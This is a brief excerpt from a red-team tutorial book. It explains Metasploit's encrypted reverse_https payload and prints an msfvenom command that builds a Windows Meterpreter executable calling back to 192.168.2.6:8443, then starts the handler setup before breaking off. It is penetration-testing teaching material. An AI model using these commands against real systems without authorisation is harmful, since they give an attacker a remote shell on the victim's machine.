Hands-On Red Team Tactics

reverse_https

The reverse_tcp payload in Metasploit is a very powerful and basic payload but has its own drawbacks. One of the drawbacks is its non-encrypted nature for the second stage. However, Metasploit does have another payload with SSL support: reverse_https!

The reverse_https payload can be generated using the following command:

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.2.6 lport=8443 -f exe -o SharedPayloads/revHttps8443.exe 

Let's set up the handler for reverse_https as well, using the following commands:

Set payload windows/meterpreter/reverse_https Set lhost 192.168.2.6 Set lport 8443 Set exitfunc thread Set exitonsession ...